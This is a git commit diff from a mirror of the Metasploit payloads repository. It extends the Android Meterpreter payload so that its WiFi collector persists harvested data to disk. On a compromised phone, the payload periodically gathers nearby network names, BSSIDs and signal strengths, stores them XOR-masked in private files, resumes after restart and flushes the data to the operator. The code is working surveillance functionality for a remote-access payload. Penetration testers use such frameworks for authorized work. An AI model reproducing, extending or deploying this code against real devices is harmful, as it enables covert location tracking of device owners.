1
mirror of https://github.com/rapid7/metasploit-payloads synced 2024-11-26 17:41:08 +01:00

Add support for writing to storage, and restarting

This commit adds support for simple writing to disk functioanlity. It
means that the collectors can continue to collect and write to disk
while offline, and if they stop, they can restart and regather
information stored on disk. These files are removed when the application
is removed, so the content doesn't survive new installations of the
payload.
This commit is contained in:
OJ 2015-08-19 00:20:33 +10:00
parent 567ffadf5a
commit 726bc5b721
7 changed files with 349 additions and 141 deletions

View File

@ -23,6 +23,7 @@
<uses-permission android:name="android.permission.WRITE_SETTINGS" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-permission android:name="android.permission.READ_SMS" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<application
android:label="@string/app_name" >

View File

@ -110,7 +110,7 @@ public class AndroidMeterpreter extends Meterpreter {
e.printStackTrace();
}
this.intervalCollectionManager = new IntervalCollectionManager();
this.intervalCollectionManager = new IntervalCollectionManager(getContext());
this.intervalCollectionManager.start();
startExecuting();
this.intervalCollectionManager.stop();

View File

@ -1,18 +1,47 @@
package com.metasploit.meterpreter;
import android.content.Context;
import java.util.Enumeration;
import java.util.Hashtable;
public class IntervalCollectionManager {
private static final int COLLECT_TYPE_WIFI = 1;
private final Context context;
private final Hashtable<Integer, IntervalCollector> collectors;
public IntervalCollectionManager() {
public IntervalCollectionManager(Context context) {
this.context = context;
this.collectors = new Hashtable<Integer, IntervalCollector>();
}
public boolean createCollector(int type, long timeout) {
IntervalCollector collector = this.getCollector(type);
if (collector == null) {
switch (type) {
case COLLECT_TYPE_WIFI: {
collector = new WifiCollector(COLLECT_TYPE_WIFI, this.context, timeout);
break;
}
default: {
return false;
}
}
}
if (collector != null) {
this.addCollector(type, collector);
return true;
}
return false;
}
public void start() {
// TODO: go through storage and see what is
// currently in progress
loadExistingCollectors();
Enumeration ids = this.collectors.keys();
@ -21,6 +50,17 @@ public class IntervalCollectionManager {
}
}
private void loadExistingCollectors() {
IntervalCollector collector = null;
collector = new WifiCollector(COLLECT_TYPE_WIFI, this.context);
if (collector.loadFromDisk()) {
this.collectors.put(COLLECT_TYPE_WIFI, collector);
}
// more collection types will go here.
}
public void addCollector(int id, IntervalCollector collector) {
this.collectors.put(id, collector);
collector.start();

View File

@ -0,0 +1,197 @@
package com.metasploit.meterpreter;
import android.content.Context;
import java.io.ByteArrayOutputStream;
import java.io.ByteArrayInputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.util.concurrent.ArrayBlockingQueue;
import java.util.concurrent.BlockingQueue;
import java.util.concurrent.TimeUnit;
import java.util.List;
import java.util.Random;
public abstract class IntervalCollector {
protected final int collectorId;
protected final Context context;
protected long timeout;
private final Random random;
private boolean isCollecting;
private Thread thread;
private BlockingQueue queue;
private class IntervalRunner implements Runnable { private final IntervalCollector collector;
public IntervalRunner(IntervalCollector collector) {
this.collector = collector;
}
public void run() {
this.collector.threadFunc();
}
}
protected IntervalCollector(int collectorId, Context context, long timeout) {
this.collectorId = collectorId;
this.context = context;
this.random = new Random();
this.timeout = timeout;
// use an array blocking queue of length 1, which is used
// as a mechanism to stop the processing if required.
this.queue = new ArrayBlockingQueue(1);
}
protected IntervalCollector(int collectorId, Context context) {
this.collectorId = collectorId;
this.context = context;
this.random = new Random();
// use an array blocking queue of length 1, which is used
// as a mechanism to stop the processing if required.
this.queue = new ArrayBlockingQueue(1);
}
private void writeToDisk(ByteArrayOutputStream bytes) {
byte[] content = bytes.toByteArray();
byte[] rnd = new byte[1];
this.random.nextBytes(rnd);
for (int i = 0; i < content.length; ++i) {
content[i] = (byte)(content[i] ^ rnd[0]);
}
try {
FileOutputStream outStream = this.context.openFileOutput(this.fileName(), Context.MODE_PRIVATE);
outStream.write(rnd);
outStream.write(content);
outStream.close();
}
catch (IOException e) {
// we failed, move on.
}
}
public boolean loadFromDisk() {
try {
FileInputStream fileStream = this.context.openFileInput(this.fileName());
byte xor = (byte)fileStream.read();
byte[] buffer = new byte[1024];
int bytesRead = 0;
ByteArrayOutputStream memStream = new ByteArrayOutputStream();
while (true) {
bytesRead = fileStream.read(buffer, 0, buffer.length);
if (bytesRead == -1) {
break;
}
for (int i = 0; i < bytesRead; ++i) {
buffer[i] = (byte)(buffer[i] ^ xor);
}
memStream.write(buffer);
}
byte[] content = memStream.toByteArray();
DataInputStream inputStream = new DataInputStream(new ByteArrayInputStream(content));
this.loadFromMemory(inputStream);
inputStream.close();
return true;
}
catch (IOException e) {
// we failed, move on.
return false;
}
}
private void threadFunc() {
boolean firstRun = true;
this.init();
this.isCollecting = true;
while (this.isRunning()) {
try {
if (firstRun || this.queue.poll(this.timeout, TimeUnit.SECONDS) == null) {
firstRun = false;
// timeout occured and nothing was in the queue, so process
// the collection
if (this.isCollecting) {
ByteArrayOutputStream bytes = new ByteArrayOutputStream();
DataOutputStream output = new DataOutputStream(bytes);
if (this.collect(output)) {
this.writeToDisk(bytes);
}
}
}
else {
// something was put in the queue, which is our signal to finish
this.thread = null;
}
}
catch (IOException e) {
// failed to read "stuff" from file, so delete the file
// and move on
// TODO: delete file
}
catch (InterruptedException e) {
// something went wrong, so bail out.
this.thread = null;
}
}
this.deinit();
}
public void start() {
this.thread = new Thread(new IntervalRunner(this));
this.thread.start();
}
public void pause() {
this.isCollecting = false;
}
public void resume() {
this.isCollecting = true;
}
public void stop() {
// we add an element to the queue, as this is how we
// simulate the signal for exiting
this.queue.add(new Object());
}
public boolean dump(TLVPacket packet) {
if (flush(packet)) {
this.context.deleteFile(this.fileName());
return true;
}
return false;
}
public boolean isRunning() {
return this.thread != null;
}
protected long getTimeout() {
return this.timeout;
}
private String fileName() {
return "" + this.collectorId;
}
protected abstract boolean collect(DataOutputStream output) throws IOException;
protected abstract void init();
protected abstract void deinit();
protected abstract boolean flush(TLVPacket packet);
protected abstract void loadFromMemory(DataInputStream input) throws IOException;
}

View File

@ -12,9 +12,12 @@ import android.net.wifi.WifiManager;
import com.metasploit.meterpreter.android.interval_collect;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.lang.InterruptedException;
import java.lang.Math;
import java.util.ArrayList;
import java.util.Collections;
@ -22,12 +25,53 @@ import java.util.List;
import java.util.Hashtable;
public class WifiCollector extends IntervalCollector {
private final Context context;
private final Object syncObject = new Object();
private Hashtable<Long, List<ScanResult>> collections = null;
private Hashtable<Long, List<WifiResult>> collections = null;
private WifiReceiver receiver = null;
private class WifiResult {
private final String bssid;
private final String ssid;
private final int level;
public WifiResult(String bssid, String ssid, int level) {
this.bssid = bssid;
this.ssid = ssid;
this.level = level;
}
public WifiResult(ScanResult result) {
this.bssid = result.BSSID;
this.ssid = result.SSID;
this.level = result.level;
}
public WifiResult(DataInputStream input) throws IOException {
this.bssid = input.readUTF();
this.ssid = input.readUTF();
this.level = input.readShort();
}
public void write(DataOutputStream output) throws IOException {
output.writeUTF(this.bssid);
output.writeUTF(this.ssid);
output.writeShort(this.level);
}
public String getBssid() {
return this.bssid;
}
public String getSsid() {
return this.ssid;
}
public int getLevel() {
return this.level;
}
}
private class WifiReceiver extends BroadcastReceiver {
private final Context context;
@ -93,38 +137,78 @@ public class WifiCollector extends IntervalCollector {
}
}
public WifiCollector(long timeout, Context context) {
super(timeout);
this.context = context;
this.collections = new Hashtable<Long, List<ScanResult>>();
public WifiCollector(int collectorId, Context context, long timeout) {
super(collectorId, context, timeout);
this.collections = new Hashtable<Long, List<WifiResult>>();
}
public WifiCollector(int collectorId, Context context) {
super(collectorId, context);
this.collections = new Hashtable<Long, List<WifiResult>>();
}
protected boolean collect(DataOutputStream output) throws IOException {
List<ScanResult> scanResults = this.receiver.runScan();
if (scanResults != null) {
List<WifiResult> results = new ArrayList<WifiResult>();
for (ScanResult scanResult : scanResults) {
results.add(new WifiResult(scanResult));
}
public void collect() {
List<ScanResult> results = this.receiver.runScan();
if (results != null) {
synchronized (this.syncObject) {
this.collections.put(System.currentTimeMillis(), results);
// collect requires the result to be the serialised version of
// the collection data so that it can be written to disk
output.writeLong(this.timeout);
output.writeInt(this.collections.size());
for (Long ts : this.collections.keySet()) {
results = this.collections.get(ts.longValue());
output.writeLong(ts.longValue());
output.writeInt(results.size());
for (WifiResult wifiResult : results) {
wifiResult.write(output);
}
}
}
public void init() {
return true;
}
return false;
}
protected void loadFromMemory(DataInputStream input) throws IOException {
this.timeout = input.readLong();
int collectionCount = input.readInt();
for (int i = 0; i < collectionCount; ++i) {
long ts = input.readLong();
int resultCount = input.readInt();
List<WifiResult> results = new ArrayList<WifiResult>();
for (int j = 0; j < resultCount; ++j) {
results.add(new WifiResult(input));
}
this.collections.put(ts, results);
}
}
protected void init() {
if (this.receiver == null) {
this.receiver = new WifiReceiver(this.context, this.getTimeout());
}
}
public void deinit() {
protected void deinit() {
this.receiver = null;
}
public boolean dump(TLVPacket packet) {
Hashtable<Long, List<ScanResult>> collections = this.collections;
public boolean flush(TLVPacket packet) {
Hashtable<Long, List<WifiResult>> collections = this.collections;
synchronized (this.syncObject) {
// create a new collection, for use on the other thread
// if it's running
this.collections = new Hashtable<Long, List<ScanResult>>();
this.collections = new Hashtable<Long, List<WifiResult>>();
}
List<Long> sortedKeys = new ArrayList<Long>(collections.keySet());
@ -132,7 +216,7 @@ public class WifiCollector extends IntervalCollector {
for (Long ts : sortedKeys) {
long timestamp = ts.longValue();
List<ScanResult> scanResults = collections.get(timestamp);
List<WifiResult> scanResults = collections.get(timestamp);
TLVPacket resultSet = new TLVPacket();
@ -144,13 +228,14 @@ public class WifiCollector extends IntervalCollector {
}
for (int i = 0; i < scanResults.size(); ++i) {
ScanResult result = scanResults.get(i);
WifiResult result = scanResults.get(i);
TLVPacket wifiSet = new TLVPacket();
try {
wifiSet.add(interval_collect.TLV_TYPE_COLLECT_RESULT_WIFI_SSID, result.SSID);
wifiSet.add(interval_collect.TLV_TYPE_COLLECT_RESULT_WIFI_BSSID, result.BSSID);
wifiSet.add(interval_collect.TLV_TYPE_COLLECT_RESULT_WIFI_LEVEL, result.level);
wifiSet.add(interval_collect.TLV_TYPE_COLLECT_RESULT_WIFI_SSID, result.getSsid());
wifiSet.add(interval_collect.TLV_TYPE_COLLECT_RESULT_WIFI_BSSID, result.getBssid());
// level is negative, but it'll be converted to positive on the flip side.
wifiSet.add(interval_collect.TLV_TYPE_COLLECT_RESULT_WIFI_LEVEL, Math.abs(result.getLevel()));
resultSet.addOverflow(interval_collect.TLV_TYPE_COLLECT_RESULT_WIFI, wifiSet);
}

View File

@ -20,8 +20,6 @@ public class interval_collect implements Command {
private static final int COLLECT_ACTION_STOP = 4;
private static final int COLLECT_ACTION_DUMP = 5;
private static final int COLLECT_TYPE_WIFI = 1;
public static final int TLV_TYPE_COLLECT_TYPE = TLVPacket.TLV_META_TYPE_UINT
| (TLV_EXTENSIONS + 9050);
public static final int TLV_TYPE_COLLECT_ACTION = TLVPacket.TLV_META_TYPE_UINT
@ -52,7 +50,7 @@ public class interval_collect implements Command {
switch (action) {
case COLLECT_ACTION_START: {
result = this.startNew(manager, met.getContext(), request);
result = this.startNew(manager, request);
break;
}
case COLLECT_ACTION_PAUSE: {
@ -88,31 +86,11 @@ public class interval_collect implements Command {
return result ? ERROR_SUCCESS: ERROR_FAILURE;
}
private boolean startNew(IntervalCollectionManager manager, Context context, TLVPacket request) {
private boolean startNew(IntervalCollectionManager manager, TLVPacket request) {
int type = request.getIntValue(TLV_TYPE_COLLECT_TYPE);
if (manager.getCollector(type) != null) {
return false;
}
long timeout = (long)request.getIntValue(TLV_TYPE_COLLECT_TIMEOUT);
IntervalCollector collector = null;
switch (type) {
case COLLECT_TYPE_WIFI: {
collector = new WifiCollector(timeout, context);
break;
}
default: {
return false;
}
}
if (collector != null) {
manager.addCollector(type, collector);
return true;
}
return false;
return manager.createCollector(type, timeout);
}
}

View File

@ -1,93 +0,0 @@
package com.metasploit.meterpreter;
import java.util.concurrent.ArrayBlockingQueue;
import java.util.concurrent.BlockingQueue;
import java.util.concurrent.TimeUnit;
import java.util.List;
public abstract class IntervalCollector {
private long timeout;
private boolean isCollecting;
private Thread thread;
private BlockingQueue queue;
private class IntervalRunner implements Runnable {
private final IntervalCollector collector;
public IntervalRunner(IntervalCollector collector) {
this.collector = collector;
}
public void run() {
this.collector.threadFunc();
}
}
protected IntervalCollector(long timeout) {
this.timeout = timeout;
// use an array blocking queue of length 1, which is used
// as a mechanism to stop the processing if required.
this.queue = new ArrayBlockingQueue(1);
}
private void threadFunc() {
this.init();
this.isCollecting = true;
while (this.isRunning()) {
try {
if (this.queue.poll(this.timeout, TimeUnit.SECONDS) == null) {
// timeout occured and nothing was in the queue, so process
// the collection
if (this.isCollecting) {
this.collect();
}
}
else {
// something was put in the queue, which is our signal to finish
this.thread = null;
}
}
catch (InterruptedException e) {
// something went wrong, so bail out.
this.thread = null;
}
}
this.deinit();
}
public void start() {
this.thread = new Thread(new IntervalRunner(this));
this.thread.start();
}
public void pause() {
this.isCollecting = false;
}
public void resume() {
this.isCollecting = true;
}
public void stop() {
// we add an element to the queue, as this is how we
// simulate the signal for exiting
this.queue.add(new Object());
}
public abstract boolean dump(TLVPacket packet);
public boolean isRunning() {
return this.thread != null;
}
protected long getTimeout() {
return this.timeout;
}
protected abstract void collect();
protected abstract void init();
protected abstract void deinit();
}